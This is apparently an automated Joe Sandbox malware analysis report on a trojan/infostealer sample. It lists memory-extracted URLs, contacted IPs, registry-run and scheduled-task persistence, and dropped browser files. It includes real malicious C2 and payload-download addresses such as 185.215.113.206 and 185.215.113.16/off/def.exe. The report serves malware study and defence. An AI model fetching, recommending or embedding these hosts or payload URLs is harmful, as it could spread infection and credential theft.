http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmp	false
https://www.google.com/chrome/hats/index.htmlb	chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	false
https://frogmen-smell.sbs:443/apitPK	397a6a3fac.exe, 00000019.00000003.3099311408.0000000005413000.00000004.00000800.00020000.00000000.sdmp	false
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2313205496.000000002366E000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853574571.0000000005446000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2870724416.0000000005469000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853880488.0000000005446000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2870453617.0000000005471000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853467154.0000000005449000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3020692592.0000000005475000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3002237346.000000000546B000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3020970466.000000000546D000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3290252256.0000000005798000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3323572461.00000000057CB000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3289662705.00000000057F8000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	false
http://crl.rootca1.amazontrust.com/rootca1.crl0	397a6a3fac.exe, 00000019.00000003.2901951072.0000000005448000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3041277024.000000000553D000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.php/	829de9457d.exe, 00000020.00000002.3087259730.00000000015F5000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpK9	file.exe, 00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	false
http://ocsp.rootca1.amazontrust.com0:	397a6a3fac.exe, 00000019.00000003.2901951072.0000000005448000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3041277024.000000000553D000.00000004.00000800.00020000.00000000.sdmp	false
https://curl.se/docs/alt-svc.html	33a9120b78.exe, 00000018.00000003.2758308770.000000000745C000.00000004.00001000.00020000.00000000.sdmp	false
https://ace-snapper-privately.ngrok-free.app/test/testFailed	33a9120b78.exe, 00000018.00000003.2758308770.000000000745C000.00000004.00001000.00020000.00000000.sdmp	false
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853574571.0000000005446000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853880488.0000000005446000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853467154.0000000005449000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3002237346.000000000546B000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3290252256.0000000005798000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3289662705.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	false
http://home.fvtejs5sr.top/iNfkLAsWrCuVUxMyJkfW17	33a9120b78.exe, 00000018.00000003.2758308770.000000000745C000.00000004.00001000.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.php1	829de9457d.exe, 0000001B.00000002.2927755728.000000000156E000.00000004.00000020.00020000.00000000.sdmp	false
https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k	chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	false
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	397a6a3fac.exe, 0000001E.00000003.3043472668.0000000005753000.00000004.00000800.00020000.00000000.sdmp	false
https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k	chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	false
https://frogmen-smell.sbs/&&Y	397a6a3fac.exe, 0000001E.00000003.3041680310.000000000543B000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3043345493.000000000543B000.00000004.00000800.00020000.00000000.sdmp	false
https://frogmen-smell.sbs:443/apiMicrosoft	397a6a3fac.exe, 0000001E.00000003.3068277583.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp	false
https://google-ohttp-relay-join.fastly-edge.com/2J	chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpD	829de9457d.exe, 00000020.00000002.3087259730.00000000015F5000.00000004.00000020.00020000.00000000.sdmp	false
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	file.exe, 00000000.00000003.2389220239.0000000023928000.00000004.00000020.00020000.00000000.sdmp	false
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000003.2391354150.00000000236C3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2470628363.00000000236BC000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3044476895.000000000543D000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpJ	file.exe, 00000000.00000002.2470628363.00000000236D9000.00000004.00000020.00020000.00000000.sdmp	false
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000003.2391354150.00000000236C3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2470628363.00000000236BC000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3085318571.0000000005438000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3060118485.0000000005438000.00000004.00000800.00020000.00000000.sdmp	false
https://frogmen-smell.sbs/.sbs9	397a6a3fac.exe, 00000019.00000003.3011329332.0000000000C6E000.00000004.00000020.00020000.00000000.sdmp	false
https://msn.comXIDv10	397a6a3fac.exe, 00000019.00000003.2878640827.000000000543F000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2880718966.0000000005424000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2881320220.0000000005427000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3021945121.0000000000CED000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3021461248.0000000005443000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3021669488.0000000000CEA000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpP	829de9457d.exe, 00000020.00000002.3087259730.00000000015F5000.00000004.00000020.00020000.00000000.sdmp	false
https://goto.google.com/sme-bugs27	chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.16/off/def.exe	397a6a3fac.exe, 00000019.00000003.3098402358.0000000000C62000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000002.3189065235.0000000000C62000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000002.3188207167.000000000071A000.00000004.00000010.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3234187777.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3212374258.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3291306185.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000002.3315728799.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpQ	829de9457d.exe, 0000001B.00000002.2927755728.00000000015D0000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/68b591d6548ec281/msvcp140.dllM	file.exe, 00000000.00000002.2449094003.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	false
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	false
http://html4/loose.dtd	33a9120b78.exe, 00000018.00000003.2758308770.000000000745C000.00000004.00001000.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpd	file.exe, 00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	false
https://frogmen-smell.sbs/e	397a6a3fac.exe, 0000001E.00000003.3067938362.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3067826677.0000000000CC1000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3059324540.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3059764525.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp	false
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000002.2470628363.00000000236BC000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3044476895.000000000543D000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3085318571.0000000005438000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3060118485.0000000005438000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.php/3~	829de9457d.exe, 0000001B.00000002.2927755728.00000000015D0000.00000004.00000020.00020000.00000000.sdmp	false
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313205496.000000002366E000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853574571.0000000005446000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2870724416.0000000005469000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853880488.0000000005446000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2870453617.0000000005471000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853467154.0000000005449000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3020692592.0000000005475000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3002237346.000000000546B000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3020970466.000000000546D000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3290252256.0000000005798000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3323572461.00000000057CB000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3289662705.00000000057F8000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpp	file.exe, 00000000.00000002.2470628363.00000000236D9000.00000004.00000020.00020000.00000000.sdmp	false
http://.css	33a9120b78.exe, 00000018.00000003.2758308770.000000000745C000.00000004.00001000.00020000.00000000.sdmp	false
https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29	chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpr	file.exe, 00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	false
https://frogmen-smell.sbs/8	397a6a3fac.exe, 00000019.00000003.3011329332.0000000000C6E000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2962660453.0000000000C6A000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.16/steam/random.exeh	397a6a3fac.exe, 0000001E.00000003.3234187777.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3212374258.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3291306185.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000002.3315728799.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/SIp&	829de9457d.exe, 0000001B.00000002.2927755728.00000000015C8000.00000004.00000020.00020000.00000000.sdmp	false
http://x1.c.lencr.org/0	397a6a3fac.exe, 00000019.00000003.2901951072.0000000005448000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3041277024.000000000553D000.00000004.00000800.00020000.00000000.sdmp	false
http://x1.i.lencr.org/0	397a6a3fac.exe, 00000019.00000003.2901951072.0000000005448000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3041277024.000000000553D000.00000004.00000800.00020000.00000000.sdmp	false
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313205496.000000002366E000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853574571.0000000005446000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2870724416.0000000005469000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853880488.0000000005446000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2870453617.0000000005471000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853467154.0000000005449000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3020692592.0000000005475000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3002237346.000000000546B000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3020970466.000000000546D000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3290252256.0000000005798000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3323572461.00000000057CB000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3289662705.00000000057F8000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	false
https://frogmen-smell.sbs/apiB	397a6a3fac.exe, 00000019.00000003.2918138762.0000000000C95000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2901337114.0000000000C95000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2945512987.0000000000C95000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2945776369.0000000000C95000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.3011574554.0000000000C95000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2918412688.0000000000C95000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2933493286.0000000000C95000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2917874499.0000000000C95000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/T	829de9457d.exe, 00000020.00000002.3087259730.00000000015F5000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.16/o	397a6a3fac.exe, 0000001E.00000003.3211715458.0000000000CB6000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/?	829de9457d.exe, 00000020.00000002.3087259730.00000000015F5000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.16:80/off/def.exerosoft	397a6a3fac.exe, 0000001E.00000003.3231774310.0000000000CC0000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3210067993.0000000000CC1000.00000004.00000020.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.43	s-part-0015.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.189.173.8	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.221.220.60	unknown	United States	20940	AKAMAI-ASN1EU	false
104.21.80.55	frogmen-smell.sbs	United States	13335	CLOUDFLARENETUS	true
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.184.228	unknown	United States	15169	GOOGLEUS	false
108.156.211.59	unknown	United States	16509	AMAZON-02US	false
23.38.189.114	unknown	United States	16625	AKAMAI-ASUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
18.244.18.38	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
172.217.18.1	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
20.96.153.111	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.142	play.google.com	United States	15169	GOOGLEUS	false
23.205.110.137	unknown	United States	24319	AKAMAI-TYO-APAkamaiTechnologiesTokyoASNSG	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
23.198.7.173	unknown	United States	20940	AKAMAI-ASN1EU	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.186.164	www.google.com	United States	15169	GOOGLEUS	false
34.116.198.130	fvtejs5sr.top	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	true
23.192.223.232	unknown	United States	16625	AKAMAI-ASUS	false
13.89.179.9	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1556554
Start date and time:	2024-11-15 16:15:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 20m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	56
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@145/259@72/31
EGA Information:	Successful, ratio: 75%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.195, 172.217.18.14, 64.233.167.84, 34.104.35.123, 142.250.186.67, 142.250.185.234, 216.58.212.170, 142.250.185.202, 216.58.212.138, 142.250.186.106, 142.250.186.74, 172.217.23.106, 142.250.185.138, 216.58.206.74, 142.250.185.170, 172.217.18.10, 142.250.184.234, 142.250.185.106, 172.217.16.202, 142.250.185.74, 142.250.186.138, 142.250.186.170, 216.58.206.42, 142.250.186.42, 142.250.181.234, 199.232.210.172, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 142.250.186.46, 13.107.6.158, 192.229.221.95, 2.19.126.152, 2.19.126.145, 20.93.72.182, 88.221.110.179, 88.221.110.195, 2.23.209.183, 2.23.209.185, 2.23.209.181, 2.23.209.187, 2.23.209.177, 2.23.209.182, 2.23.209.130, 2.23.209.179, 2.23.209.189, 23.38.98.87, 23.38.98.92, 23.38.98.93, 23.38.98.82, 23.38.98.100, 23.38.98.73, 23.38.98.77, 23.38.98.94, 23.38.98.76, 2.23.209.133, 2.23.209.135, 13.74.129.1, 204.79.197.237, 13.107.21.237, 2.23.209.144, 2.23.209.141, 2.23.209.150, 2.23.209.149, 2.23.20
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, browser.events.data.trafficmanager.net, learn.microsoft.com, e11290.dspg.akamaiedge.net, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, star-azurefd-prod.trafficmanager.net, learn.microsoft.com.edgekey.net, update.googleapis.com, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, content-autofill.googleapis.com, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing
Execution Graph export aborted for target 33a9120b78.exe, PID 2460 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
10:16:34	API Interceptor	31x Sleep call for process: file.exe modified
10:17:01	API Interceptor	20069171x Sleep call for process: skotes.exe modified
10:17:19	API Interceptor	168x Sleep call for process: 397a6a3fac.exe modified
10:17:41	API Interceptor	2328552x Sleep call for process: 33a9120b78.exe modified
10:19:38	API Interceptor	1x Sleep call for process: WerFault.exe modified
10:20:07	API Interceptor	1111771x Sleep call for process: service123.exe modified
16:16:42	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
16:17:22	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 397a6a3fac.exe C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe
16:17:30	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 829de9457d.exe C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe
16:17:39	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 1997b72847.exe C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe
16:17:47	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 397a6a3fac.exe C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe
16:17:55	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 829de9457d.exe C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe
16:18:04	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 1997b72847.exe C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe
16:19:35	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\DBFBFBGDBKJJKFIEHJDBAFIECG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Reputation:	unknown
